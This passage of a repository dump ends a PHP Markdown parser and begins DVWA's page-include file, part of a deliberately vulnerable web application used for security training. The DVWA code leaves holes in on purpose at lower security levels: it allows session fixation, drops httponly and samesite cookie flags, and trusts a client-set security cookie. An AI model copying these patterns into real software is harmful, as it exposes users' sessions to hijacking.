$matches[2];\n            $text = preg_replace('/[ ]*+\\n/', ' ', $text);\n\n            return array(\n                'extent' => strlen($matches[0]),\n                'element' => array(\n                    'name' => 'code',\n                    'text' => $text,\n                ),\n            );\n        }\n    }\n\n    protected function inlineEmailTag($Excerpt)\n    {\n        $hostnameLabel = '[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?';\n\n        $commonMarkEmail = '[a-zA-Z0-9.!#$%&\\'*+\\/=?^_`{|}~-]++@'\n            . $hostnameLabel . '(?:\\.' . $hostnameLabel . ')*';\n\n        if (strpos($Excerpt['text'], '>') !== false\n            and preg_match(\"/^<((mailto:)?$commonMarkEmail)>/i\", $Excerpt['text'], $matches)\n        ){\n            $url = $matches[1];\n\n            if ( ! isset($matches[2]))\n            {\n                $url = \"mailto:$url\";\n            }\n\n            return array(\n                'extent' => strlen($matches[0]),\n                'element' => array(\n                    'name' => 'a',\n                    'text' => $matches[1],\n                    'attributes' => array(\n                        'href' => $url,\n                    ),\n                ),\n            );\n        }\n    }\n\n    protected function inlineEmphasis($Excerpt)\n    {\n        if ( ! isset($Excerpt['text'][1]))\n        {\n            return;\n        }\n\n        $marker = $Excerpt['text'][0];\n\n        if ($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches))\n        {\n            $emphasis = 'strong';\n        }\n        elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches))\n        {\n            $emphasis = 'em';\n        }\n        else\n        {\n            return;\n        }\n\n        return array(\n            'extent' => strlen($matches[0]),\n            'element' => array(\n                'name' => $emphasis,\n                'handler' => array(\n                    'function' => 'lineElements',\n                    'argument' => $matches[1],\n                    'destination' => 'elements',\n                )\n            ),\n        );\n    }\n\n    protected function inlineEscapeSequence($Excerpt)\n    {\n        if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters))\n        {\n            return array(\n                'element' => array('rawHtml' => $Excerpt['text'][1]),\n                'extent' => 2,\n            );\n        }\n    }\n\n    protected function inlineImage($Excerpt)\n    {\n        if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[')\n        {\n            return;\n        }\n\n        $Excerpt['text']= substr($Excerpt['text'], 1);\n\n        $Link = $this->inlineLink($Excerpt);\n\n        if ($Link === null)\n        {\n            return;\n        }\n\n        $Inline = array(\n            'extent' => $Link['extent'] + 1,\n            'element' => array(\n                'name' => 'img',\n                'attributes' => array(\n                    'src' => $Link['element']['attributes']['href'],\n                    'alt' => $Link['element']['handler']['argument'],\n                ),\n                'autobreak' => true,\n            ),\n        );\n\n        $Inline['element']['attributes'] += $Link['element']['attributes'];\n\n        unset($Inline['element']['attributes']['href']);\n\n        return $Inline;\n    }\n\n    protected function inlineLink($Excerpt)\n    {\n        $Element = array(\n            'name' => 'a',\n            'handler' => array(\n                'function' => 'lineElements',\n                'argument' => null,\n                'destination' => 'elements',\n            ),\n            'nonNestables' => array('Url', 'Link'),\n            'attributes' => array(\n                'href' => null,\n                'title' => null,\n            ),\n        );\n\n        $extent = 0;\n\n        $remainder = $Excerpt['text'];\n\n        if (preg_match('/\\[((?:[^][]++|(?R))*+)\\]/', $remainder, $matches))\n        {\n            $Element['handler']['argument'] = $matches[1];\n\n            $extent += strlen($matches[0]);\n\n            $remainder = substr($remainder, $extent);\n        }\n        else\n        {\n            return;\n        }\n\n        if (preg_match('/^[(]\\s*+((?:[^ ()]++|[(][^ )]+[)])++)(?:[ ]+(\"[^\"]*+\"|\\'[^\\']*+\\'))?\\s*+[)]/', $remainder, $matches))\n        {\n            $Element['attributes']['href'] = $matches[1];\n\n            if (isset($matches[2]))\n            {\n                $Element['attributes']['title'] = substr($matches[2], 1, - 1);\n            }\n\n            $extent += strlen($matches[0]);\n        }\n        else\n        {\n            if (preg_match('/^\\s*\\[(.*?)\\]/', $remainder, $matches))\n            {\n                $definition = strlen($matches[1]) ? $matches[1] : $Element['handler']['argument'];\n                $definition = strtolower($definition);\n\n                $extent += strlen($matches[0]);\n            }\n            else\n            {\n                $definition = strtolower($Element['handler']['argument']);\n            }\n\n            if ( ! isset($this->DefinitionData['Reference'][$definition]))\n            {\n                return;\n            }\n\n            $Definition = $this->DefinitionData['Reference'][$definition];\n\n            $Element['attributes']['href'] = $Definition['url'];\n            $Element['attributes']['title'] = $Definition['title'];\n        }\n\n        return array(\n            'extent' => $extent,\n            'element' => $Element,\n        );\n    }\n\n    protected function inlineMarkup($Excerpt)\n    {\n        if ($this->markupEscaped or $this->safeMode or strpos($Excerpt['text'], '>') === false)\n        {\n            return;\n        }\n\n        if ($Excerpt['text'][1] === '/' and preg_match('/^<\\/\\w[\\w-]*+[ ]*+>/s', $Excerpt['text'], $matches))\n        {\n            return array(\n                'element' => array('rawHtml' => $matches[0]),\n                'extent' => strlen($matches[0]),\n            );\n        }\n\n        if ($Excerpt['text'][1] === '!' and preg_match('/^<!---?[^>-](?:-?+[^-])*-->/s', $Excerpt['text'], $matches))\n        {\n            return array(\n                'element' => array('rawHtml' => $matches[0]),\n                'extent' => strlen($matches[0]),\n            );\n        }\n\n        if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\\w[\\w-]*+(?:[ ]*+'.$this->regexHtmlAttribute.')*+[ ]*+\\/?>/s', $Excerpt['text'], $matches))\n        {\n            return array(\n                'element' => array('rawHtml' => $matches[0]),\n                'extent' => strlen($matches[0]),\n            );\n        }\n    }\n\n    protected function inlineSpecialCharacter($Excerpt)\n    {\n        if (substr($Excerpt['text'], 1, 1) !== ' ' and strpos($Excerpt['text'], ';') !== false\n            and preg_match('/^&(#?+[0-9a-zA-Z]++);/', $Excerpt['text'], $matches)\n        ) {\n            return array(\n                'element' => array('rawHtml' => '&' . $matches[1] . ';'),\n                'extent' => strlen($matches[0]),\n            );\n        }\n\n        return;\n    }\n\n    protected function inlineStrikethrough($Excerpt)\n    {\n        if ( ! isset($Excerpt['text'][1]))\n        {\n            return;\n        }\n\n        if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\\S)(.+?)(?<=\\S)~~/', $Excerpt['text'], $matches))\n        {\n            return array(\n                'extent' => strlen($matches[0]),\n                'element' => array(\n                    'name' => 'del',\n                    'handler' => array(\n                        'function' => 'lineElements',\n                        'argument' => $matches[1],\n                        'destination' => 'elements',\n                    )\n                ),\n            );\n        }\n    }\n\n    protected function inlineUrl($Excerpt)\n    {\n        if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/')\n        {\n            return;\n        }\n\n        if (strpos($Excerpt['context'], 'http') !== false\n            and preg_match('/\\bhttps?+:[\\/]{2}[^\\s<]+\\b\\/*+/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE)\n        ) {\n            $url = $matches[0][0];\n\n            $Inline = array(\n                'extent' => strlen($matches[0][0]),\n                'position' => $matches[0][1],\n                'element' => array(\n                    'name' => 'a',\n                    'text' => $url,\n                    'attributes' => array(\n                        'href' => $url,\n                    ),\n                ),\n            );\n\n            return $Inline;\n        }\n    }\n\n    protected function inlineUrlTag($Excerpt)\n    {\n        if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<(\\w++:\\/{2}[^ >]++)>/i', $Excerpt['text'], $matches))\n        {\n            $url = $matches[1];\n\n            return array(\n                'extent' => strlen($matches[0]),\n                'element' => array(\n                    'name' => 'a',\n                    'text' => $url,\n                    'attributes' => array(\n                        'href' => $url,\n                    ),\n                ),\n            );\n        }\n    }\n\n    # ~\n\n    protected function unmarkedText($text)\n    {\n        $Inline = $this->inlineText($text);\n        return $this->element($Inline['element']);\n    }\n\n    #\n    # Handlers\n    #\n\n    protected function handle(array $Element)\n    {\n        if (isset($Element['handler']))\n        {\n            if (!isset($Element['nonNestables']))\n            {\n                $Element['nonNestables'] = array();\n            }\n\n            if (is_string($Element['handler']))\n            {\n                $function = $Element['handler'];\n                $argument = $Element['text'];\n                unset($Element['text']);\n                $destination = 'rawHtml';\n            }\n            else\n            {\n                $function = $Element['handler']['function'];\n                $argument = $Element['handler']['argument'];\n                $destination = $Element['handler']['destination'];\n            }\n\n            $Element[$destination] = $this->{$function}($argument, $Element['nonNestables']);\n\n            if ($destination === 'handler')\n            {\n                $Element = $this->handle($Element);\n            }\n\n            unset($Element['handler']);\n        }\n\n        return $Element;\n    }\n\n    protected function handleElementRecursive(array $Element)\n    {\n        return $this->elementApplyRecursive(array($this, 'handle'), $Element);\n    }\n\n    protected function handleElementsRecursive(array $Elements)\n    {\n        return $this->elementsApplyRecursive(array($this, 'handle'), $Elements);\n    }\n\n    protected function elementApplyRecursive($closure, array $Element)\n    {\n        $Element = call_user_func($closure, $Element);\n\n        if (isset($Element['elements']))\n        {\n            $Element['elements'] = $this->elementsApplyRecursive($closure, $Element['elements']);\n        }\n        elseif (isset($Element['element']))\n        {\n            $Element['element'] = $this->elementApplyRecursive($closure, $Element['element']);\n        }\n\n        return $Element;\n    }\n\n    protected function elementApplyRecursiveDepthFirst($closure, array $Element)\n    {\n        if (isset($Element['elements']))\n        {\n            $Element['elements'] = $this->elementsApplyRecursiveDepthFirst($closure, $Element['elements']);\n        }\n        elseif (isset($Element['element']))\n        {\n            $Element['element'] = $this->elementsApplyRecursiveDepthFirst($closure, $Element['element']);\n        }\n\n        $Element = call_user_func($closure, $Element);\n\n        return $Element;\n    }\n\n    protected function elementsApplyRecursive($closure, array $Elements)\n    {\n        foreach ($Elements as &$Element)\n        {\n            $Element = $this->elementApplyRecursive($closure, $Element);\n        }\n\n        return $Elements;\n    }\n\n    protected function elementsApplyRecursiveDepthFirst($closure, array $Elements)\n    {\n        foreach ($Elements as &$Element)\n        {\n            $Element = $this->elementApplyRecursiveDepthFirst($closure, $Element);\n        }\n\n        return $Elements;\n    }\n\n    protected function element(array $Element)\n    {\n        if ($this->safeMode)\n        {\n            $Element = $this->sanitiseElement($Element);\n        }\n\n        # identity map if element has no handler\n        $Element = $this->handle($Element);\n\n        $hasName = isset($Element['name']);\n\n        $markup = '';\n\n        if ($hasName)\n        {\n            $markup .= '<' . $Element['name'];\n\n            if (isset($Element['attributes']))\n            {\n                foreach ($Element['attributes'] as $name => $value)\n                {\n                    if ($value === null)\n                    {\n                        continue;\n                    }\n\n                    $markup .= \" $name=\\\"\".self::escape($value).'\"';\n                }\n            }\n        }\n\n        $permitRawHtml = false;\n\n        if (isset($Element['text']))\n        {\n            $text = $Element['text'];\n        }\n        // very strongly consider an alternative if you're writing an\n        // extension\n        elseif (isset($Element['rawHtml']))\n        {\n            $text = $Element['rawHtml'];\n\n            $allowRawHtmlInSafeMode = isset($Element['allowRawHtmlInSafeMode']) && $Element['allowRawHtmlInSafeMode'];\n            $permitRawHtml = !$this->safeMode || $allowRawHtmlInSafeMode;\n        }\n\n        $hasContent = isset($text) || isset($Element['element']) || isset($Element['elements']);\n\n        if ($hasContent)\n        {\n            $markup .= $hasName ? '>' : '';\n\n            if (isset($Element['elements']))\n            {\n                $markup .= $this->elements($Element['elements']);\n            }\n            elseif (isset($Element['element']))\n            {\n                $markup .= $this->element($Element['element']);\n            }\n            else\n            {\n                if (!$permitRawHtml)\n                {\n                    $markup .= self::escape($text, true);\n                }\n                else\n                {\n                    $markup .= $text;\n                }\n            }\n\n            $markup .= $hasName ? '</' . $Element['name'] . '>' : '';\n        }\n        elseif ($hasName)\n        {\n            $markup .= ' />';\n        }\n\n        return $markup;\n    }\n\n    protected function elements(array $Elements)\n    {\n        $markup = '';\n\n        $autoBreak = true;\n\n        foreach ($Elements as $Element)\n        {\n            if (empty($Element))\n            {\n                continue;\n            }\n\n            $autoBreakNext = (isset($Element['autobreak'])\n                ? $Element['autobreak'] : isset($Element['name'])\n            );\n            // (autobreak === false) covers both sides of an element\n            $autoBreak = !$autoBreak ? $autoBreak : $autoBreakNext;\n\n            $markup .= ($autoBreak ? \"\\n\" : '') . $this->element($Element);\n            $autoBreak = $autoBreakNext;\n        }\n\n        $markup .= $autoBreak ? \"\\n\" : '';\n\n        return $markup;\n    }\n\n    # ~\n\n    protected function li($lines)\n    {\n        $Elements = $this->linesElements($lines);\n\n        if ( ! in_array('', $lines)\n            and isset($Elements[0]) and isset($Elements[0]['name'])\n            and $Elements[0]['name'] === 'p'\n        ) {\n            unset($Elements[0]['name']);\n        }\n\n        return $Elements;\n    }\n\n    #\n    # AST Convenience\n    #\n\n    /**\n     * Replace occurrences $regexp with $Elements in $text. Return an array of\n     * elements representing the replacement.\n     */\n    protected static function pregReplaceElements($regexp, $Elements, $text)\n    {\n        $newElements = array();\n\n        while (preg_match($regexp, $text, $matches, PREG_OFFSET_CAPTURE))\n        {\n            $offset = $matches[0][1];\n            $before = substr($text, 0, $offset);\n            $after = substr($text, $offset + strlen($matches[0][0]));\n\n            $newElements[] = array('text' => $before);\n\n            foreach ($Elements as $Element)\n            {\n                $newElements[] = $Element;\n            }\n\n            $text = $after;\n        }\n\n        $newElements[] = array('text' => $text);\n\n        return $newElements;\n    }\n\n    #\n    # Deprecated Methods\n    #\n\n    function parse($text)\n    {\n        $markup = $this->text($text);\n\n        return $markup;\n    }\n\n    protected function sanitiseElement(array $Element)\n    {\n        static $goodAttribute = '/^[a-zA-Z0-9][a-zA-Z0-9-_]*+$/';\n        static $safeUrlNameToAtt  = array(\n            'a'   => 'href',\n            'img' => 'src',\n        );\n\n        if ( ! isset($Element['name']))\n        {\n            unset($Element['attributes']);\n            return $Element;\n        }\n\n        if (isset($safeUrlNameToAtt[$Element['name']]))\n        {\n            $Element = $this->filterUnsafeUrlInAttribute($Element, $safeUrlNameToAtt[$Element['name']]);\n        }\n\n        if ( ! empty($Element['attributes']))\n        {\n            foreach ($Element['attributes'] as $att => $val)\n            {\n                # filter out badly parsed attribute\n                if ( ! preg_match($goodAttribute, $att))\n                {\n                    unset($Element['attributes'][$att]);\n                }\n                # dump onevent attribute\n                elseif (self::striAtStart($att, 'on'))\n                {\n                    unset($Element['attributes'][$att]);\n                }\n            }\n        }\n\n        return $Element;\n    }\n\n    protected function filterUnsafeUrlInAttribute(array $Element, $attribute)\n    {\n        foreach ($this->safeLinksWhitelist as $scheme)\n        {\n            if (self::striAtStart($Element['attributes'][$attribute], $scheme))\n            {\n                return $Element;\n            }\n        }\n\n        $Element['attributes'][$attribute] = str_replace(':', '%3A', $Element['attributes'][$attribute]);\n\n        return $Element;\n    }\n\n    #\n    # Static Methods\n    #\n\n    protected static function escape($text, $allowQuotes = false)\n    {\n        return htmlspecialchars($text, $allowQuotes ? ENT_NOQUOTES : ENT_QUOTES, 'UTF-8');\n    }\n\n    protected static function striAtStart($string, $needle)\n    {\n        $len = strlen($needle);\n\n        if ($len > strlen($string))\n        {\n            return false;\n        }\n        else\n        {\n            return strtolower(substr($string, 0, $len)) === strtolower($needle);\n        }\n    }\n\n    static function instance($name = 'default')\n    {\n        if (isset(self::$instances[$name]))\n        {\n            return self::$instances[$name];\n        }\n\n        $instance = new static();\n\n        self::$instances[$name] = $instance;\n\n        return $instance;\n    }\n\n    private static $instances = array();\n\n    #\n    # Fields\n    #\n\n    protected $DefinitionData;\n\n    #\n    # Read-Only\n\n    protected $specialCharacters = array(\n        '\\\\', '`', '*', '_', '{', '}', '[', ']', '(', ')', '>', '#', '+', '-', '.', '!', '|', '~'\n    );\n\n    protected $StrongRegex = array(\n        '*' => '/^[*]{2}((?:\\\\\\\\\\*|[^*]|[*][^*]*+[*])+?)[*]{2}(?![*])/s',\n        '_' => '/^__((?:\\\\\\\\_|[^_]|_[^_]*+_)+?)__(?!_)/us',\n    );\n\n    protected $EmRegex = array(\n        '*' => '/^[*]((?:\\\\\\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s',\n        '_' => '/^_((?:\\\\\\\\_|[^_]|__[^_]*__)+?)_(?!_)\\b/us',\n    );\n\n    protected $regexHtmlAttribute = '[a-zA-Z_:][\\w:.-]*+(?:\\s*+=\\s*+(?:[^\"\\'=<>`\\s]+|\"[^\"]*+\"|\\'[^\\']*+\\'))?+';\n\n    protected $voidElements = array(\n        'area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'link', 'meta', 'param', 'source',\n    );\n\n    protected $textLevelElements = array(\n        'a', 'br', 'bdo', 'abbr', 'blink', 'nextid', 'acronym', 'basefont',\n        'b', 'em', 'big', 'cite', 'small', 'spacer', 'listing',\n        'i', 'rp', 'del', 'code',          'strike', 'marquee',\n        'q', 'rt', 'ins', 'font',          'strong',\n        's', 'tt', 'kbd', 'mark',\n        'u', 'xm', 'sub', 'nobr',\n                   'sup', 'ruby',\n                   'var', 'span',\n                   'wbr', 'time',\n    );\n}\n"
  },
  {
    "path": "dvwa/includes/dvwaPage.inc.php",
    "content": "<?php\n\nif( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {\n\tdie( 'DVWA System error- WEB_PAGE_TO_ROOT undefined' );\n\texit;\n}\n\nif (!file_exists(DVWA_WEB_PAGE_TO_ROOT . 'config/config.inc.php')) {\n\tdie (\"DVWA System error - config file not found. Copy config/config.inc.php.dist to config/config.inc.php and configure to your environment.\");\n}\n\n// Include configs\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'config/config.inc.php';\n\n// Declare the $html variable\nif( !isset( $html ) ) {\n\t$html = \"\";\n}\n\n// Valid security levels\n$security_levels = array('low', 'medium', 'high', 'impossible');\nif( !isset( $_COOKIE[ 'security' ] ) || !in_array( $_COOKIE[ 'security' ], $security_levels ) ) {\n\t// Set security cookie to impossible if no cookie exists\n\tif( in_array( $_DVWA[ 'default_security_level' ], $security_levels) ) {\n\t\tdvwaSecurityLevelSet( $_DVWA[ 'default_security_level' ] );\n\t} else {\n\t\tdvwaSecurityLevelSet( 'impossible' );\n\t}\n\t// If the cookie wasn't set then the session flags need updating.\n\tdvwa_start_session();\n}\n\n/*\n * This function is called after login and when you change the security level.\n * It gets the security level and sets the httponly and samesite cookie flags\n * appropriately.\n *\n * To force an update of the cookie flags we need to update the session id,\n * just setting the flags and doing a session_start() does not change anything.\n * For this, session_id() or session_regenerate_id() can be used.\n * Both keep the existing session values, so nothing is lost,\n * it will just cause a new Set-Cookie header to be sent with the new right\n * flags and the new id (or the same one if we wish to keep it).\n*/\nfunction dvwa_start_session() {\n\t// This will setup the session cookie based on\n\t// the security level.\n\n\t$security_level = dvwaSecurityLevelGet();\n\tif ($security_level == 'impossible') {\n\t\t$httponly = true;\n\t\t$samesite = \"Strict\";\n\t}\n\telse {\n\t\t$httponly = false;\n\t\t$samesite = \"\";\n\t}\n\n\t$maxlifetime = 86400;\n\t$secure = false;\n\t$domain = parse_url($_SERVER['HTTP_HOST'], PHP_URL_HOST);\n\n\t/*\n\t * Need to do this as you can't update the settings of a session\n\t * while it is open. So check if one is open, close it if needed\n\t * then update the values and start it again.\n\t*/\n\tif (session_status() == PHP_SESSION_ACTIVE) {\n\t\tsession_write_close();\n\t}\n\n\tsession_set_cookie_params([\n\t\t'lifetime' => $maxlifetime,\n\t\t'path' => '/',\n\t\t'domain' => $domain,\n\t\t'secure' => $secure,\n\t\t'httponly' => $httponly,\n\t\t'samesite' => $samesite\n\t]);\n\n\t/*\n\t * We need to force a new Set-Cookie header with the updated flags by updating\n\t * the session id, either regenerating it or setting it to a value, because\n\t * session_start() might not generate a Set-Cookie header if a cookie already\n\t * exists.\n\t *\n\t * For impossible security level, we regenerate the session id, PHP will\n\t * generate a new random id. This is good security practice because it\n\t * prevents the reuse of a previous unauthenticated id that an attacker\n\t * might have knowledge of (aka session fixation attack).\n   *\n\t * For lower levels, we want to allow session fixation attacks, so if an id\n\t * already exists, we don't want it to change after authentication. We thus\n\t * set the id to its previous value using session_id(), which will force\n\t * the Set-Cookie header.\n\t*/\n\tif ($security_level == 'impossible') {\n\t\tsession_start();\n\t\tsession_regenerate_id(); // force a new id to be generated\n\t}\n\telse {\n\t\tif (isset($_COOKIE[session_name()])) // if a session id already exists\n\t\t\tsession_id($_COOKIE[session_name()]); // we keep the same id\n\t\tsession_start(); // otherwise a new one will be generated here\n\t}\n}\n\nif (array_key_exists (\"Login\", $_POST) && $_POST['Login'] == \"Login\") {\n\tdvwa_start_session();\n} else {\n\tif (!session_id()) {\n\t\tsession_start();\n\t}\n}\n\nif (!array_key_exists (\"default_locale\", $_DVWA)) {\n\t$_DVWA[ 'default_locale' ] = \"en\";\n}\n\ndvwaLocaleSet( $_DVWA[ 'default_locale' ] );\n\n// Start session functions --\n\nfunction &dvwaSessionGrab() {\n\tif( !isset( $_SESSION[ 'dvwa' ] ) ) {\n\t\t$_SESSION[ 'dvwa' ] = array();\n\t}\n\treturn $_SESSION[ 'dvwa' ];\n}\n\n\nfunction dvwaPageStartup( $pActions ) {\n\tif (in_array('authenticated', $pActions)) {\n\t\tif( !dvwaIsLoggedIn()) {\n\t\t\tdvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'login.php' );\n\t\t}\n\t}\n}\n\nfunction dvwaLogin( $pUsername ) {\n\t$dvwaSession =& dvwaSessionGrab();\n\t$dvwaSession[ 'username' ] = $pUsername;\n}\n\n\nfunction dvwaIsLoggedIn() {\n\tglobal $_DVWA;\n\n\tif (array_key_exists(\"disable_authentication\", $_DVWA) && $_DVWA['disable_authentication']) {\n\t\treturn true;\n\t}\n\t$dvwaSession =& dvwaSessionGrab();\n\treturn isset( $dvwaSession[ 'username' ] );\n}\n\n\nfunction dvwaLogout() {\n\t$dvwaSession =& dvwaSessionGrab();\n\tunset( $dvwaSession[ 'username' ] );\n}\n\n\nfunction dvwaPageReload() {\n\tif  ( array_key_exists( 'HTTP_X_FORWARDED_PREFIX' , $_SERVER )) {\n\t\tdvwaRedirect( $_SERVER[ 'HTTP_X_FORWARDED_PREFIX' ] . $_SERVER[ 'PHP_SELF' ] );\n\t}\n\telse {\n\t\tdvwaRedirect( $_SERVER[ 'PHP_SELF' ] );\n\t}\n}\n\nfunction dvwaCurrentUser() {\n\t$dvwaSession =& dvwaSessionGrab();\n\treturn ( isset( $dvwaSession[ 'username' ]) ? $dvwaSession[ 'username' ] : 'Unknown') ;\n}\n\n// -- END (Session functions)\n\nfunction &dvwaPageNewGrab() {\n\t$returnArray = array(\n\t\t'title'           => 'Damn Vulnerable Web Application (DVWA)',\n\t\t'title_separator' => ' :: ',\n\t\t'body'            => '',\n\t\t'page_id'         => '',\n\t\t'help_button'     => '',\n\t\t'source_button'   => '',\n\t);\n\treturn $returnArray;\n}\n\n\nfunction dvwaThemeGet() {\n\tif (isset($_COOKIE['theme'])) {\n\t\treturn $_COOKIE[ 'theme' ];\n\t}\n\treturn 'light';\n}\n\n\nfunction dvwaSecurityLevelGet() {\n\tglobal $_DVWA;\n\n\t// If there is a security cookie, that takes priority.\n\tif (isset($_COOKIE['security'])) {\n\t\treturn $_COOKIE[ 'security' ];\n\t}\n\n\t// If not, check to see if authentication is disabled, if it is, use\n\t// the default security level.\n\tif (array_key_exists(\"disable_authentication\", $_DVWA) && $_DVWA['disable_authentication']) {\n\t\treturn $_DVWA[ 'default_security_level' ];\n\t}\n\n\t// Worse case, set the level to impossible.\n\treturn 'impossible';\n}\n\nfunction dvwaSecurityLevelSet( $pSecurityLevel ) {\n\tif( $pSecurityLevel == 'impossible' ) {\n\t\t$httponly = true;\n\t}\n\telse {\n\t\t$httponly = false;\n\t}\n\n\tsetcookie( 'security', $pSecurityLevel, 0, \"/\", \"\", false, $httponly );\n\t$_COOKIE['security'] = $pSecurityLevel;\n}\n\nfunction dvwaLocaleGet() {\n\t$dvwaSession =& dvwaSessionGrab();\n\treturn $dvwaSession[ 'locale' ];\n}\n\nfunction dvwaSQLiDBGet() {\n\tglobal $_DVWA;\n\treturn $_DVWA['SQLI_DB'];\n}\n\nfunction dvwaLocaleSet( $pLocale ) {\n\t$dvwaSession =& dvwaSessionGrab();\n\t$locales = array('en', 'zh');\n\tif( in_array( $pLocale, $locales) ) {\n\t\t$dvwaSession[ 'locale' ] = $pLocale;\n\t} else {\n\t\t$dvwaSession[ 'locale' ] = 'en';\n\t}\n}\n\n// Start message functions --\n\nfunction dvwaMessagePush( $pMessage ) {\n\t$dvwaSession =& dvwaSessionGrab();\n\tif( !isset( $dvwaSession[ 'messages' ] ) ) {\n\t\t$dvwaSession[ 'messages' ] = array();\n\t}\n\t$dvwaSession[ 'messages' ][] = $pMessage;\n}\n\n\nfunction dvwaMessagePop() {\n\t$dvwaSession =& dvwaSessionGrab();\n\tif( !isset( $dvwaSession[ 'messages' ] ) || count( $dvwaSession[ 'messages' ] ) == 0 ) {\n\t\treturn false;\n\t}\n\treturn array_shift( $dvwaSession[ 'messages' ] );\n}\n\n\nfunction messagesPopAllToHtml() {\n\t$messagesHtml = '';\n\twhile( $message = dvwaMessagePop() ) {   // TODO- sharpen!\n\t\t$messagesHtml .= \"<div class=\\\"message\\\">{$message}</div>\";\n\t}\n\n\treturn $messagesHtml;\n}\n\n// --END (message functions)\n\nfunction dvwaHtmlEcho( $pPage ) {\n\t$menuBlocks = array();\n\n\t$menuBlocks[ 'home' ] = array();\n\tif( dvwaIsLoggedIn() ) {\n\t\t$menuBlocks[ 'home' ][] = array( 'id' => 'home', 'name' => 'Home', 'url' => '.' );\n\t\t$menuBlocks[ 'home' ][] = array( 'id' => 'instructions', 'name' => 'Instructions', 'url' => 'instructions.php' );\n\t\t$menuBlocks[ 'home' ][] = array( 'id' => 'setup', 'name' => 'Setup / Reset DB', 'url' => 'setup.php' );\n\t}\n\telse {\n\t\t$menuBlocks[ 'home' ][] = array( 'id' => 'setup', 'name' => 'Setup DVWA', 'url' => 'setup.php' );\n\t\t$menuBlocks[ 'home' ][] = array( 'id' => 'instructions', 'name' => 'Instructions', 'url' => 'instructions.php' );\n\t}\n\n\tif( dvwaIsLoggedIn() ) {\n\t\t$menuBlocks[ 'vulnerabilities' ] = array();\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'brute', 'name' => 'Brute Force', 'url' => 'vulnerabilities/brute/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'exec', 'name' => 'Command Injection', 'url' => 'vulnerabilities/exec/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'csrf', 'name' => 'CSRF', 'url' => 'vulnerabilities/csrf/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'fi', 'name' => 'File Inclusion', 'url' => 'vulnerabilities/fi/.?page=include.php' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'upload', 'name' => 'File Upload', 'url' => 'vulnerabilities/upload/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'captcha', 'name' => 'Insecure CAPTCHA', 'url' => 'vulnerabilities/captcha/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'sqli', 'name' => 'SQL Injection', 'url' => 'vulnerabilities/sqli/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'sqli_blind', 'name' => 'SQL Injection (Blind)', 'url' => 'vulnerabilities/sqli_blind/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'weak_id', 'name' => 'Weak Session IDs', 'url' => 'vulnerabilities/weak_id/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'xss_d', 'name' => 'XSS (DOM)', 'url' => 'vulnerabilities/xss_d/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'xss_r', 'name' => 'XSS (Reflected)', 'url' => 'vulnerabilities/xss_r/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'xss_s', 'name' => 'XSS (Stored)', 'url' => 'vulnerabilities/xss_s/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'csp', 'name' => 'CSP Bypass', 'url' => 'vulnerabilities/csp/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'javascript', 'name' => 'JavaScript Attacks', 'url' => 'vulnerabilities/javascript/' );\n\t\tif (dvwaCurrentUser() == \"admin\") {\n\t\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'authbypass', 'name' => 'Authorisation Bypass', 'url' => 'vulnerabilities/authbypass/' );\n\t\t}\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'open_redirect', 'name' => 'Open HTTP Redirect', 'url' => 'vulnerabilities/open_redirect/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'encryption', 'name' => 'Cryptography', 'url' => 'vulnerabilities/cryptography/' );\n\t\t$menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'api', 'name' => 'API', 'url' => 'vulnerabilities/api/' );\n\t\t# $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'bac', 'name' => 'Broken Access Control', 'url' => 'vulnerabilities/bac/' );\n\t}\n\n\t$menuBlocks[ 'meta' ] = array();\n\tif( dvwaIsLoggedIn() ) {\n\t\t$menuBlocks[ 'meta' ][] = array( 'id' => 'security', 'name' => 'DVWA Security', 'url' => 'security.php' );\n\t\t$menuBlocks[ 'meta' ][] = array( 'id' => 'phpinfo', 'name' => 'PHP Info', 'url' => 'phpinfo.php' );\n\t}\n\t$menuBlocks[ 'meta' ][] = array( 'id' => 'about', 'name' => 'About', 'url' => 'about.php' );\n\n\tif( dvwaIsLoggedIn() ) {\n\t\t$menuBlocks[ 'logout' ] = array();\n\t\t$menuBlocks[ 'logout' ][] = array( 'id' => 'logout', 'name' => 'Logout', 'url' => 'logout.php' );\n\t}\n\n\t$menuHtml = '';\n\n\tforeach( $menuBlocks as $menuBlock ) {\n\t\t$menuBlockHtml = '';\n\t\tforeach( $menuBlock as $menuItem ) 